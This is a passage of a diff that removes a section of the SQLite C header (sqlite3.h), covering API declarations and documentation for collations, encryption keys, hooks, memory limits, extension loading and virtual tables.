  4. If A<B and B<C then A<C. -**
-** -** If a collating function fails any of the above constraints and that -** collating function is registered and used, then the behavior of SQLite -** is undefined. -** -** ^The sqlite3_create_collation_v2() works like sqlite3_create_collation() -** with the addition that the xDestroy callback is invoked on pArg when -** the collating function is deleted. -** ^Collating functions are deleted when they are overridden by later -** calls to the collation creation functions or when the -** [database connection] is closed using [sqlite3_close()]. -** -** ^The xDestroy callback is not called if the -** sqlite3_create_collation_v2() function fails. Applications that invoke -** sqlite3_create_collation_v2() with a non-NULL xDestroy argument should -** check the return code and dispose of the application data pointer -** themselves rather than expecting SQLite to deal with it for them. -** This is different from every other SQLite interface. The inconsistency -** is unfortunate but cannot be changed without breaking backwards -** compatibility. -** -** See also: [sqlite3_collation_needed()] and [sqlite3_collation_needed16()]. -*/ -SQLITE_API int sqlite3_create_collation( - sqlite3*, - const char *zName, - int eTextRep, - void *pArg, - int(*xCompare)(void*,int,const void*,int,const void*) -); -SQLITE_API int sqlite3_create_collation_v2( - sqlite3*, - const char *zName, - int eTextRep, - void *pArg, - int(*xCompare)(void*,int,const void*,int,const void*), - void(*xDestroy)(void*) -); -SQLITE_API int sqlite3_create_collation16( - sqlite3*, - const void *zName, - int eTextRep, - void *pArg, - int(*xCompare)(void*,int,const void*,int,const void*) -); - -/* -** CAPI3REF: Collation Needed Callbacks -** -** ^To avoid having to register all collation sequences before a database -** can be used, a single callback function may be registered with the -** [database connection] to be invoked whenever an undefined collation -** sequence is required. -** -** ^If the function is registered using the sqlite3_collation_needed() API, -** then it is passed the names of undefined collation sequences as strings -** encoded in UTF-8. ^If sqlite3_collation_needed16() is used, -** the names are passed as UTF-16 in machine native byte order. -** ^A call to either function replaces the existing collation-needed callback. -** -** ^(When the callback is invoked, the first argument passed is a copy -** of the second argument to sqlite3_collation_needed() or -** sqlite3_collation_needed16(). The second argument is the database -** connection. The third argument is one of [SQLITE_UTF8], [SQLITE_UTF16BE], -** or [SQLITE_UTF16LE], indicating the most desirable form of the collation -** sequence function required. The fourth parameter is the name of the -** required collation sequence.)^ -** -** The callback function should register the desired collation using -** [sqlite3_create_collation()], [sqlite3_create_collation16()], or -** [sqlite3_create_collation_v2()]. -*/ -SQLITE_API int sqlite3_collation_needed( - sqlite3*, - void*, - void(*)(void*,sqlite3*,int eTextRep,const char*) -); -SQLITE_API int sqlite3_collation_needed16( - sqlite3*, - void*, - void(*)(void*,sqlite3*,int eTextRep,const void*) -); - -#ifdef SQLITE_HAS_CODEC -/* -** Specify the key for an encrypted database. This routine should be -** called right after sqlite3_open(). -** -** The code to implement this API is not available in the public release -** of SQLite. -*/ -SQLITE_API int sqlite3_key( - sqlite3 *db, /* Database to be rekeyed */ - const void *pKey, int nKey /* The key */ -); - -/* -** Change the key on an open database. If the current database is not -** encrypted, this routine will encrypt it. If pNew==0 or nNew==0, the -** database is decrypted. -** -** The code to implement this API is not available in the public release -** of SQLite. -*/ -SQLITE_API int sqlite3_rekey( - sqlite3 *db, /* Database to be rekeyed */ - const void *pKey, int nKey /* The new key */ -); - -/* -** Specify the activation key for a SEE database. Unless -** activated, none of the SEE routines will work. -*/ -SQLITE_API void sqlite3_activate_see( - const char *zPassPhrase /* Activation phrase */ -); -#endif - -#ifdef SQLITE_ENABLE_CEROD -/* -** Specify the activation key for a CEROD database. Unless -** activated, none of the CEROD routines will work. -*/ -SQLITE_API void sqlite3_activate_cerod( - const char *zPassPhrase /* Activation phrase */ -); -#endif - -/* -** CAPI3REF: Suspend Execution For A Short Time -** -** The sqlite3_sleep() function causes the current thread to suspend execution -** for at least a number of milliseconds specified in its parameter. -** -** If the operating system does not support sleep requests with -** millisecond time resolution, then the time will be rounded up to -** the nearest second. The number of milliseconds of sleep actually -** requested from the operating system is returned. -** -** ^SQLite implements this interface by calling the xSleep() -** method of the default [sqlite3_vfs] object. If the xSleep() method -** of the default VFS is not implemented correctly, or not implemented at -** all, then the behavior of sqlite3_sleep() may deviate from the description -** in the previous paragraphs. -*/ -SQLITE_API int sqlite3_sleep(int); - -/* -** CAPI3REF: Name Of The Folder Holding Temporary Files -** -** ^(If this global variable is made to point to a string which is -** the name of a folder (a.k.a. directory), then all temporary files -** created by SQLite when using a built-in [sqlite3_vfs | VFS] -** will be placed in that directory.)^ ^If this variable -** is a NULL pointer, then SQLite performs a search for an appropriate -** temporary file directory. -** -** It is not safe to read or modify this variable in more than one -** thread at a time. It is not safe to read or modify this variable -** if a [database connection] is being used at the same time in a separate -** thread. -** It is intended that this variable be set once -** as part of process initialization and before any SQLite interface -** routines have been called and that this variable remain unchanged -** thereafter. -** -** ^The [temp_store_directory pragma] may modify this variable and cause -** it to point to memory obtained from [sqlite3_malloc]. ^Furthermore, -** the [temp_store_directory pragma] always assumes that any string -** that this variable points to is held in memory obtained from -** [sqlite3_malloc] and the pragma may attempt to free that memory -** using [sqlite3_free]. -** Hence, if this variable is modified directly, either it should be -** made NULL or made to point to memory obtained from [sqlite3_malloc] -** or else the use of the [temp_store_directory pragma] should be avoided. -** -** Note to Windows Runtime users: The temporary directory must be set -** prior to calling [sqlite3_open] or [sqlite3_open_v2]. Otherwise, various -** features that require the use of temporary files may fail. Here is an -** example of how to do this using C++ with the Windows Runtime: -** -** 
-** LPCWSTR zPath = Windows::Storage::ApplicationData::Current->
-**       TemporaryFolder->Path->Data();
-** char zPathBuf[MAX_PATH + 1];
-** memset(zPathBuf, 0, sizeof(zPathBuf));
-** WideCharToMultiByte(CP_UTF8, 0, zPath, -1, zPathBuf, sizeof(zPathBuf),
-**       NULL, NULL);
-** sqlite3_temp_directory = sqlite3_mprintf("%s", zPathBuf);
-**
-*/ -SQLITE_API char *sqlite3_temp_directory; - -/* -** CAPI3REF: Name Of The Folder Holding Database Files -** -** ^(If this global variable is made to point to a string which is -** the name of a folder (a.k.a. directory), then all database files -** specified with a relative pathname and created or accessed by -** SQLite when using a built-in windows [sqlite3_vfs | VFS] will be assumed -** to be relative to that directory.)^ ^If this variable is a NULL -** pointer, then SQLite assumes that all database files specified -** with a relative pathname are relative to the current directory -** for the process. Only the windows VFS makes use of this global -** variable; it is ignored by the unix VFS. -** -** Changing the value of this variable while a database connection is -** open can result in a corrupt database. -** -** It is not safe to read or modify this variable in more than one -** thread at a time. It is not safe to read or modify this variable -** if a [database connection] is being used at the same time in a separate -** thread. -** It is intended that this variable be set once -** as part of process initialization and before any SQLite interface -** routines have been called and that this variable remain unchanged -** thereafter. -** -** ^The [data_store_directory pragma] may modify this variable and cause -** it to point to memory obtained from [sqlite3_malloc]. ^Furthermore, -** the [data_store_directory pragma] always assumes that any string -** that this variable points to is held in memory obtained from -** [sqlite3_malloc] and the pragma may attempt to free that memory -** using [sqlite3_free]. -** Hence, if this variable is modified directly, either it should be -** made NULL or made to point to memory obtained from [sqlite3_malloc] -** or else the use of the [data_store_directory pragma] should be avoided. -*/ -SQLITE_API char *sqlite3_data_directory; - -/* -** CAPI3REF: Test For Auto-Commit Mode -** KEYWORDS: {autocommit mode} -** -** ^The sqlite3_get_autocommit() interface returns non-zero or -** zero if the given database connection is or is not in autocommit mode, -** respectively. ^Autocommit mode is on by default. -** ^Autocommit mode is disabled by a [BEGIN] statement. -** ^Autocommit mode is re-enabled by a [COMMIT] or [ROLLBACK]. -** -** If certain kinds of errors occur on a statement within a multi-statement -** transaction (errors including [SQLITE_FULL], [SQLITE_IOERR], -** [SQLITE_NOMEM], [SQLITE_BUSY], and [SQLITE_INTERRUPT]) then the -** transaction might be rolled back automatically. The only way to -** find out whether SQLite automatically rolled back the transaction after -** an error is to use this function. -** -** If another thread changes the autocommit status of the database -** connection while this routine is running, then the return value -** is undefined. -*/ -SQLITE_API int sqlite3_get_autocommit(sqlite3*); - -/* -** CAPI3REF: Find The Database Handle Of A Prepared Statement -** -** ^The sqlite3_db_handle interface returns the [database connection] handle -** to which a [prepared statement] belongs. ^The [database connection] -** returned by sqlite3_db_handle is the same [database connection] -** that was the first argument -** to the [sqlite3_prepare_v2()] call (or its variants) that was used to -** create the statement in the first place. -*/ -SQLITE_API sqlite3 *sqlite3_db_handle(sqlite3_stmt*); - -/* -** CAPI3REF: Return The Filename For A Database Connection -** -** ^The sqlite3_db_filename(D,N) interface returns a pointer to a filename -** associated with database N of connection D. ^The main database file -** has the name "main". If there is no attached database N on the database -** connection D, or if database N is a temporary or in-memory database, then -** a NULL pointer is returned. -** -** ^The filename returned by this function is the output of the -** xFullPathname method of the [VFS]. ^In other words, the filename -** will be an absolute pathname, even if the filename used -** to open the database originally was a URI or relative pathname. -*/ -SQLITE_API const char *sqlite3_db_filename(sqlite3 *db, const char *zDbName); - -/* -** CAPI3REF: Determine if a database is read-only -** -** ^The sqlite3_db_readonly(D,N) interface returns 1 if the database N -** of connection D is read-only, 0 if it is read/write, or -1 if N is not -** the name of a database on connection D. -*/ -SQLITE_API int sqlite3_db_readonly(sqlite3 *db, const char *zDbName); - -/* -** CAPI3REF: Find the next prepared statement -** -** ^This interface returns a pointer to the next [prepared statement] after -** pStmt associated with the [database connection] pDb. ^If pStmt is NULL -** then this interface returns a pointer to the first prepared statement -** associated with the database connection pDb. ^If no prepared statement -** satisfies the conditions of this routine, it returns NULL. -** -** The [database connection] pointer D in a call to -** [sqlite3_next_stmt(D,S)] must refer to an open database -** connection and in particular must not be a NULL pointer. -*/ -SQLITE_API sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt); - -/* -** CAPI3REF: Commit And Rollback Notification Callbacks -** -** ^The sqlite3_commit_hook() interface registers a callback -** function to be invoked whenever a transaction is [COMMIT | committed]. -** ^Any callback set by a previous call to sqlite3_commit_hook() -** for the same database connection is overridden. -** ^The sqlite3_rollback_hook() interface registers a callback -** function to be invoked whenever a transaction is [ROLLBACK | rolled back]. -** ^Any callback set by a previous call to sqlite3_rollback_hook() -** for the same database connection is overridden. -** ^The pArg argument is passed through to the callback. -** ^If the callback on a commit hook function returns non-zero, -** then the commit is converted into a rollback. -** -** ^The sqlite3_commit_hook(D,C,P) and sqlite3_rollback_hook(D,C,P) functions -** return the P argument from the previous call of the same function -** on the same [database connection] D, or NULL for -** the first call for each function on D. -** -** The commit and rollback hook callbacks are not reentrant. -** The callback implementation must not do anything that will modify -** the database connection that invoked the callback. Any actions -** to modify the database connection must be deferred until after the -** completion of the [sqlite3_step()] call that triggered the commit -** or rollback hook in the first place. -** Note that running any other SQL statements, including SELECT statements, -** or merely calling [sqlite3_prepare_v2()] and [sqlite3_step()] will modify -** the database connections for the meaning of "modify" in this paragraph. -** -** ^Registering a NULL function disables the callback. -** -** ^When the commit hook callback routine returns zero, the [COMMIT] -** operation is allowed to continue normally. ^If the commit hook -** returns non-zero, then the [COMMIT] is converted into a [ROLLBACK]. -** ^The rollback hook is invoked on a rollback that results from a commit -** hook returning non-zero, just as it would be with any other rollback. -** -** ^For the purposes of this API, a transaction is said to have been -** rolled back if an explicit "ROLLBACK" statement is executed, or -** an error or constraint causes an implicit rollback to occur. -** ^The rollback callback is not invoked if a transaction is -** automatically rolled back because the database connection is closed. -** -** See also the [sqlite3_update_hook()] interface. -*/ -SQLITE_API void *sqlite3_commit_hook(sqlite3*, int(*)(void*), void*); -SQLITE_API void *sqlite3_rollback_hook(sqlite3*, void(*)(void *), void*); - -/* -** CAPI3REF: Data Change Notification Callbacks -** -** ^The sqlite3_update_hook() interface registers a callback function -** with the [database connection] identified by the first argument -** to be invoked whenever a row is updated, inserted or deleted. -** ^Any callback set by a previous call to this function -** for the same database connection is overridden. -** -** ^The second argument is a pointer to the function to invoke when a -** row is updated, inserted or deleted. -** ^The first argument to the callback is a copy of the third argument -** to sqlite3_update_hook(). -** ^The second callback argument is one of [SQLITE_INSERT], [SQLITE_DELETE], -** or [SQLITE_UPDATE], depending on the operation that caused the callback -** to be invoked. -** ^The third and fourth arguments to the callback contain pointers to the -** database and table name containing the affected row. -** ^The final callback parameter is the [rowid] of the row. -** ^In the case of an update, this is the [rowid] after the update takes place. -** -** ^(The update hook is not invoked when internal system tables are -** modified (i.e. sqlite_master and sqlite_sequence).)^ -** -** ^In the current implementation, the update hook -** is not invoked when duplication rows are deleted because of an -** [ON CONFLICT | ON CONFLICT REPLACE] clause. ^Nor is the update hook -** invoked when rows are deleted using the [truncate optimization]. -** The exceptions defined in this paragraph might change in a future -** release of SQLite. -** -** The update hook implementation must not do anything that will modify -** the database connection that invoked the update hook. Any actions -** to modify the database connection must be deferred until after the -** completion of the [sqlite3_step()] call that triggered the update hook. -** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their -** database connections for the meaning of "modify" in this paragraph. -** -** ^The sqlite3_update_hook(D,C,P) function -** returns the P argument from the previous call -** on the same [database connection] D, or NULL for -** the first call on D. -** -** See also the [sqlite3_commit_hook()] and [sqlite3_rollback_hook()] -** interfaces. -*/ -SQLITE_API void *sqlite3_update_hook( - sqlite3*, - void(*)(void *,int ,char const *,char const *,sqlite3_int64), - void* -); - -/* -** CAPI3REF: Enable Or Disable Shared Pager Cache -** -** ^(This routine enables or disables the sharing of the database cache -** and schema data structures between [database connection | connections] -** to the same database. Sharing is enabled if the argument is true -** and disabled if the argument is false.)^ -** -** ^Cache sharing is enabled and disabled for an entire process. -** This is a change as of SQLite version 3.5.0. In prior versions of SQLite, -** sharing was enabled or disabled for each thread separately. -** -** ^(The cache sharing mode set by this interface effects all subsequent -** calls to [sqlite3_open()], [sqlite3_open_v2()], and [sqlite3_open16()]. -** Existing database connections continue use the sharing mode -** that was in effect at the time they were opened.)^ -** -** ^(This routine returns [SQLITE_OK] if shared cache was enabled or disabled -** successfully. An [error code] is returned otherwise.)^ -** -** ^Shared cache is disabled by default. But this might change in -** future releases of SQLite. Applications that care about shared -** cache setting should set it explicitly. -** -** This interface is threadsafe on processors where writing a -** 32-bit integer is atomic. -** -** See Also: [SQLite Shared-Cache Mode] -*/ -SQLITE_API int sqlite3_enable_shared_cache(int); - -/* -** CAPI3REF: Attempt To Free Heap Memory -** -** ^The sqlite3_release_memory() interface attempts to free N bytes -** of heap memory by deallocating non-essential memory allocations -** held by the database library. Memory used to cache database -** pages to improve performance is an example of non-essential memory. -** ^sqlite3_release_memory() returns the number of bytes actually freed, -** which might be more or less than the amount requested. -** ^The sqlite3_release_memory() routine is a no-op returning zero -** if SQLite is not compiled with [SQLITE_ENABLE_MEMORY_MANAGEMENT]. -** -** See also: [sqlite3_db_release_memory()] -*/ -SQLITE_API int sqlite3_release_memory(int); - -/* -** CAPI3REF: Free Memory Used By A Database Connection -** -** ^The sqlite3_db_release_memory(D) interface attempts to free as much heap -** memory as possible from database connection D. Unlike the -** [sqlite3_release_memory()] interface, this interface is effect even -** when then [SQLITE_ENABLE_MEMORY_MANAGEMENT] compile-time option is -** omitted. -** -** See also: [sqlite3_release_memory()] -*/ -SQLITE_API int sqlite3_db_release_memory(sqlite3*); - -/* -** CAPI3REF: Impose A Limit On Heap Size -** -** ^The sqlite3_soft_heap_limit64() interface sets and/or queries the -** soft limit on the amount of heap memory that may be allocated by SQLite. -** ^SQLite strives to keep heap memory utilization below the soft heap -** limit by reducing the number of pages held in the page cache -** as heap memory usages approaches the limit. -** ^The soft heap limit is "soft" because even though SQLite strives to stay -** below the limit, it will exceed the limit rather than generate -** an [SQLITE_NOMEM] error. In other words, the soft heap limit -** is advisory only. -** -** ^The return value from sqlite3_soft_heap_limit64() is the size of -** the soft heap limit prior to the call, or negative in the case of an -** error. ^If the argument N is negative -** then no change is made to the soft heap limit. Hence, the current -** size of the soft heap limit can be determined by invoking -** sqlite3_soft_heap_limit64() with a negative argument. -** -** ^If the argument N is zero then the soft heap limit is disabled. -** -** ^(The soft heap limit is not enforced in the current implementation -** if one or more of following conditions are true: -** -**
    -**
  • The soft heap limit is set to zero. -**
  • Memory accounting is disabled using a combination of the -** [sqlite3_config]([SQLITE_CONFIG_MEMSTATUS],...) start-time option and -** the [SQLITE_DEFAULT_MEMSTATUS] compile-time option. -**
  • An alternative page cache implementation is specified using -** [sqlite3_config]([SQLITE_CONFIG_PCACHE2],...). -**
  • The page cache allocates from its own memory pool supplied -** by [sqlite3_config]([SQLITE_CONFIG_PAGECACHE],...) rather than -** from the heap. -**
)^ -** -** Beginning with SQLite version 3.7.3, the soft heap limit is enforced -** regardless of whether or not the [SQLITE_ENABLE_MEMORY_MANAGEMENT] -** compile-time option is invoked. With [SQLITE_ENABLE_MEMORY_MANAGEMENT], -** the soft heap limit is enforced on every memory allocation. Without -** [SQLITE_ENABLE_MEMORY_MANAGEMENT], the soft heap limit is only enforced -** when memory is allocated by the page cache. Testing suggests that because -** the page cache is the predominate memory user in SQLite, most -** applications will achieve adequate soft heap limit enforcement without -** the use of [SQLITE_ENABLE_MEMORY_MANAGEMENT]. -** -** The circumstances under which SQLite will enforce the soft heap limit may -** changes in future releases of SQLite. -*/ -SQLITE_API sqlite3_int64 sqlite3_soft_heap_limit64(sqlite3_int64 N); - -/* -** CAPI3REF: Deprecated Soft Heap Limit Interface -** DEPRECATED -** -** This is a deprecated version of the [sqlite3_soft_heap_limit64()] -** interface. This routine is provided for historical compatibility -** only. All new applications should use the -** [sqlite3_soft_heap_limit64()] interface rather than this one. -*/ -SQLITE_API SQLITE_DEPRECATED void sqlite3_soft_heap_limit(int N); - - -/* -** CAPI3REF: Extract Metadata About A Column Of A Table -** -** ^This routine returns metadata about a specific column of a specific -** database table accessible using the [database connection] handle -** passed as the first function argument. -** -** ^The column is identified by the second, third and fourth parameters to -** this function. ^The second parameter is either the name of the database -** (i.e. "main", "temp", or an attached database) containing the specified -** table or NULL. ^If it is NULL, then all attached databases are searched -** for the table using the same algorithm used by the database engine to -** resolve unqualified table references. -** -** ^The third and fourth parameters to this function are the table and column -** name of the desired column, respectively. Neither of these parameters -** may be NULL. -** -** ^Metadata is returned by writing to the memory locations passed as the 5th -** and subsequent parameters to this function. ^Any of these arguments may be -** NULL, in which case the corresponding element of metadata is omitted. -** -** ^(
-** -**
Parameter Output
Type 		Description -** -**
5th const char* Data type -**
6th const char* Name of default collation sequence -**
7th int True if column has a NOT NULL constraint -**
8th int True if column is part of the PRIMARY KEY -**
9th int True if column is [AUTOINCREMENT] -**
-**
)^ -** -** ^The memory pointed to by the character pointers returned for the -** declaration type and collation sequence is valid only until the next -** call to any SQLite API function. -** -** ^If the specified table is actually a view, an [error code] is returned. -** -** ^If the specified column is "rowid", "oid" or "_rowid_" and an -** [INTEGER PRIMARY KEY] column has been explicitly declared, then the output -** parameters are set for the explicitly declared column. ^(If there is no -** explicitly declared [INTEGER PRIMARY KEY] column, then the output -** parameters are set as follows: -** -** 
-**     data type: "INTEGER"
-**     collation sequence: "BINARY"
-**     not null: 0
-**     primary key: 1
-**     auto increment: 0
-**
)^ -** -** ^(This function may load one or more schemas from database files. If an -** error occurs during this process, or if the requested table or column -** cannot be found, an [error code] is returned and an error message left -** in the [database connection] (to be retrieved using sqlite3_errmsg()).)^ -** -** ^This API is only available if the library was compiled with the -** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined. -*/ -SQLITE_API int sqlite3_table_column_metadata( - sqlite3 *db, /* Connection handle */ - const char *zDbName, /* Database name or NULL */ - const char *zTableName, /* Table name */ - const char *zColumnName, /* Column name */ - char const **pzDataType, /* OUTPUT: Declared data type */ - char const **pzCollSeq, /* OUTPUT: Collation sequence name */ - int *pNotNull, /* OUTPUT: True if NOT NULL constraint exists */ - int *pPrimaryKey, /* OUTPUT: True if column part of PK */ - int *pAutoinc /* OUTPUT: True if column is auto-increment */ -); - -/* -** CAPI3REF: Load An Extension -** -** ^This interface loads an SQLite extension library from the named file. -** -** ^The sqlite3_load_extension() interface attempts to load an -** [SQLite extension] library contained in the file zFile. If -** the file cannot be loaded directly, attempts are made to load -** with various operating-system specific extensions added. -** So for example, if "samplelib" cannot be loaded, then names like -** "samplelib.so" or "samplelib.dylib" or "samplelib.dll" might -** be tried also. -** -** ^The entry point is zProc. -** ^(zProc may be 0, in which case SQLite will try to come up with an -** entry point name on its own. It first tries "sqlite3_extension_init". -** If that does not work, it constructs a name "sqlite3_X_init" where the -** X is consists of the lower-case equivalent of all ASCII alphabetic -** characters in the filename from the last "/" to the first following -** "." and omitting any initial "lib".)^ -** ^The sqlite3_load_extension() interface returns -** [SQLITE_OK] on success and [SQLITE_ERROR] if something goes wrong. -** ^If an error occurs and pzErrMsg is not 0, then the -** [sqlite3_load_extension()] interface shall attempt to -** fill *pzErrMsg with error message text stored in memory -** obtained from [sqlite3_malloc()]. The calling function -** should free this memory by calling [sqlite3_free()]. -** -** ^Extension loading must be enabled using -** [sqlite3_enable_load_extension()] prior to calling this API, -** otherwise an error will be returned. -** -** See also the [load_extension() SQL function]. -*/ -SQLITE_API int sqlite3_load_extension( - sqlite3 *db, /* Load the extension into this database connection */ - const char *zFile, /* Name of the shared library containing extension */ - const char *zProc, /* Entry point. Derived from zFile if 0 */ - char **pzErrMsg /* Put error message here if not 0 */ -); - -/* -** CAPI3REF: Enable Or Disable Extension Loading -** -** ^So as not to open security holes in older applications that are -** unprepared to deal with [extension loading], and as a means of disabling -** [extension loading] while evaluating user-entered SQL, the following API -** is provided to turn the [sqlite3_load_extension()] mechanism on and off. -** -** ^Extension loading is off by default. -** ^Call the sqlite3_enable_load_extension() routine with onoff==1 -** to turn extension loading on and call it with onoff==0 to turn -** it back off again. -*/ -SQLITE_API int sqlite3_enable_load_extension(sqlite3 *db, int onoff); - -/* -** CAPI3REF: Automatically Load Statically Linked Extensions -** -** ^This interface causes the xEntryPoint() function to be invoked for -** each new [database connection] that is created. The idea here is that -** xEntryPoint() is the entry point for a statically linked [SQLite extension] -** that is to be automatically loaded into all new database connections. -** -** ^(Even though the function prototype shows that xEntryPoint() takes -** no arguments and returns void, SQLite invokes xEntryPoint() with three -** arguments and expects and integer result as if the signature of the -** entry point where as follows: -** -** 
-**    int xEntryPoint(
-**      sqlite3 *db,
-**      const char **pzErrMsg,
-**      const struct sqlite3_api_routines *pThunk
-**    );
-**
)^ -** -** If the xEntryPoint routine encounters an error, it should make *pzErrMsg -** point to an appropriate error message (obtained from [sqlite3_mprintf()]) -** and return an appropriate [error code]. ^SQLite ensures that *pzErrMsg -** is NULL before calling the xEntryPoint(). ^SQLite will invoke -** [sqlite3_free()] on *pzErrMsg after xEntryPoint() returns. ^If any -** xEntryPoint() returns an error, the [sqlite3_open()], [sqlite3_open16()], -** or [sqlite3_open_v2()] call that provoked the xEntryPoint() will fail. -** -** ^Calling sqlite3_auto_extension(X) with an entry point X that is already -** on the list of automatic extensions is a harmless no-op. ^No entry point -** will be called more than once for each database connection that is opened. -** -** See also: [sqlite3_reset_auto_extension()]. -*/ -SQLITE_API int sqlite3_auto_extension(void (*xEntryPoint)(void)); - -/* -** CAPI3REF: Reset Automatic Extension Loading -** -** ^This interface disables all automatic extensions previously -** registered using [sqlite3_auto_extension()]. -*/ -SQLITE_API void sqlite3_reset_auto_extension(void); - -/* -** The interface to the virtual-table mechanism is currently considered -** to be experimental. The interface might change in incompatible ways. -** If this is a problem for you, do not use the interface at this time. -** -** When the virtual-table mechanism stabilizes, we will declare the -** interface fixed, support it indefinitely, and remove this comment. -*/ - -/* -** Structures used by the virtual table interface -*/ -typedef struct sqlite3_vtab sqlite3_vtab; -typedef struct sqlite3_index_info sqlite3_index_info; -typedef struct sqlite3_vtab_cursor sqlite3_vtab_cursor; -typedef struct sqlite3_module sqlite3_module; - -/* -** CAPI3REF: Virtual Table Object -** KEYWORDS: sqlite3_module {virtual table module} -** -** This structure, sometimes called a "virtual table module", -** defines the implementation of a [virtual tables]. -** This structure consists mostly of methods for the module. -** -** ^A virtual table module is created by filling in a persistent -** instance of this structure and passing a pointer to that instance -** to [sqlite3_create_module()] or [sqlite3_create_module_v2()]. -** ^The registration remains valid until it is replaced by a different -** module or until the [database connection] closes. The content -** of this structure must not change while it is registered with -** any database connection. -*/ -struct sqlite3_module { - int iVersion; - int (*xCreate)(sqlite3*, void *pAux, - int argc, const char *const*argv, - sqlite3_vtab **ppVTab, char**); - int (*xConnect)(sqlite3*, void *pAux, - int argc, const char *const*argv, - sqlite3_vtab **ppVTab, char**); - int (*xBestIndex)(sqlite3_vtab *pVTab, sqlite3_index_info*); - int (*xDisconnect)(sqlite3_vtab *pVTab); - int (*xDestroy)(sqlite3_vtab *pVTab); - int (*xOpen)(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor); - int (*xClose)(sqlite3_vtab_cursor*); - int (*xFilter)(sqlite3_vtab_cursor*, int idxNum, const char *idxStr, - int argc, sqlite3_value **argv); - int (*xNext)(sqlite3_vtab_cursor*); - int (*xEof)(sqlite3_vtab_cursor*); - int (*xColumn)(sqlite3_vtab_cursor*, sqlite3_context*, int); - int (*xRowid)(sqlite3_vtab_cursor*, sqlite3_int64 *pRowid); - int (*xUpdate)(sqlite3_vtab *, int, sqlite3_value **, sqlite3_int64 *); - int (*xBegin)(sqlite3_vtab *pVTab); - int (*xSync)(sqlite3_vtab *pVTab); - int (*xCommit)(sqlite3_vtab *pVTab); - int (*xRollback)(sqlite3_vtab *pVTab); - int (*xFindFunction)(sqlite3_vtab *pVtab, int nArg, const char *zName, - void (**pxFunc)(sqlite3_context*,int,sqlite3_value**), - void **ppArg); - int (*xRename)(sqlite3_vtab *pVtab, const char *zNew); - /* The methods above are in version 1 of the sqlite_module object. Those - ** below are for version 2 and greater. */ - int (*xSavepoint)(sqlite3_vtab *pVTab, int); - int (*xRelease)(sqlite3_vtab *pVTab, int); - int (*xRollbackTo)(sqlite3_vtab *pVTab, int); -}; - -/* -** CAPI3REF: Virtual Table Indexing Information -** KEYWORDS: sqlite3_index_info -** -** The sqlite3_index_info structure and its substructures is used as part -** of the [virtual table] interface to -** pass information into and receive the reply from the [xBestIndex] -** method of a [virtual table module]. The fields under **Inputs** are the -** inputs to xBestIndex and are read-only. xBestIndex inserts its -** results into the **Outputs** fields. -** -** ^(The aConstraint[] array records WHERE clause constraints of the form: -** -**
column OP expr
-** -** where OP is =, <, <=, >, or >=.)^ ^(The particular operator is -** stored in aConstraint[].op using one of the -** [SQLITE_INDEX_CONSTRAINT_EQ | SQLITE_INDEX_CONSTRAINT_ values].)^ -** ^(The index of the column is stored in -** aConstraint[].iColumn.)^ ^(aConstraint[].usable is TRUE if the -** expr on the right-hand side can be evaluated (and thus the constraint -** is usable) and false if it cannot.)^ -** -** ^The optimizer automatically inverts terms of the form "expr OP column" -** and makes other simplifications to the WHERE clause in an attempt to -** get as many WHERE clause terms into the form shown above as possible. -** ^The aConstraint[] array only reports WHERE clause terms that are -** relevant to the particular virtual table being queried. -** -** ^Information about the ORDER BY clause is stored in aOrderBy[]. -** ^Each term of aOrderBy records a column of the ORDER BY clause. -** -** The [xBestIndex] method must fill aConstraintUsage[] with information -** about what parameters to pass to xFilter. ^If argvIndex>0 then -** the right-hand side of the corresponding aConstraint[] is evaluated -** and becomes the argvIndex-th entry in argv. ^(If aConstraintUsage[].omit -** is true, then the constraint is assumed to be fully handled by the -** virtual table and is not checked again by SQLite.)^ -** -** ^The idxNum and idxPtr values are recorded and passed into the -** [xFilter] method. -** ^[sqlite3_free()] is used to free idxPtr if and only if -** needToFreeIdxPtr is true. -** -** ^The orderByConsumed means that output from [xFilter]/[xNext] will occur in -** the correct order to satisfy the ORDER BY clause so that no separate -** sorting step is required. -** -** ^The estimatedCost value is an estimate of the cost of doing the -** particular lookup. A full scan of a table with N entries should have -** a cost of N. A binary search of a table of N entries should have a -** cost of approximately log(N). -*/ -struct sqlite3_index_info { - /* Inputs */ - int nConstraint; /* Number of entries in aConstraint */ - struct sqlite3_index_constraint { - int iColumn; /* Column on left-hand side of constraint */ - unsigned char op; /* Constraint operator */ - unsigned char usable; /* True if this constraint is usable */ - int iTermOffset; /* Used internally - xBestIndex should ignore */ - } *aConstraint; /* Table of WHERE clause constraints */ - int nOrderBy; /* Number of terms in the ORDER BY clause */ - struct sqlite3_index_orderby { - int iColumn; /* Column number */ - unsigned char desc; /* True for DESC. False for ASC. */ - } *aOrderBy; /* The ORDER BY clause */ - /* Outputs */ - struct sqlite3_index_constraint_usage { - int argvIndex; /* if >0, constraint is part of argv to xFilter */ - unsigned char omit; /* Do not code a test for this constraint */ - } *aConstraintUsage; - int idxNum; /* Number used to identify the index */ - char *idxStr; /* String, possibly obtained from sqlite3_malloc */ - int needToFreeIdxStr; /* Free idxStr using sqlite3_free() if true */ - int orderByConsumed; /* True if output is already ordered */ - double estimatedCost; /* Estimated cost of using this index */ -}; - -/* -** CAPI3REF: Virtual Table Constraint Operator Codes -** -** These macros defined the allowed values for the -** [sqlite3_index_info].aConstraint[].op field. Each value represents -** an operator that is part of a constraint term in the wHERE clause of -** a query that uses a [virtual table]. -*/ -#define SQLITE_INDEX_CONSTRAINT_EQ 2 -#define SQLITE_INDEX_CONSTRAINT_GT 4 -#define SQLITE_INDEX_CONSTRAINT_LE 8 -#define SQLITE_INDEX_CONSTRAINT_LT 16 -#define SQLITE_INDEX_CONSTRAINT_GE 32 -#define SQLITE_INDEX_CONSTRAINT_MATCH 64 - -/* -** CAPI3REF: Register A Virtual Table Implementation -** -** ^These routines are used to register a new [virtual table module] name. -** ^Module names must be registered before -** creating a new [virtual table] using the module and before using a -** preexisting [virtual table] for the module. -** -** ^The module name is registered on the [database connection] specified -** by the first parameter. ^The name of the module is given by the -** second parameter. ^The third parameter is a pointer to -** the implementation of the [virtual table module]. ^The fourth -** parameter is an arbitrary client data pointer that is passed through -** into the [xCreate] and [xConnect] methods of the virtual table module -** when a new virtual table is be being created or reinitialized. -** -** ^The sqlite3_create_module_v2() interface has a fifth parameter which -** is a pointer to a destructor for the pClientData. ^SQLite will -** invoke the destructor function (if it is 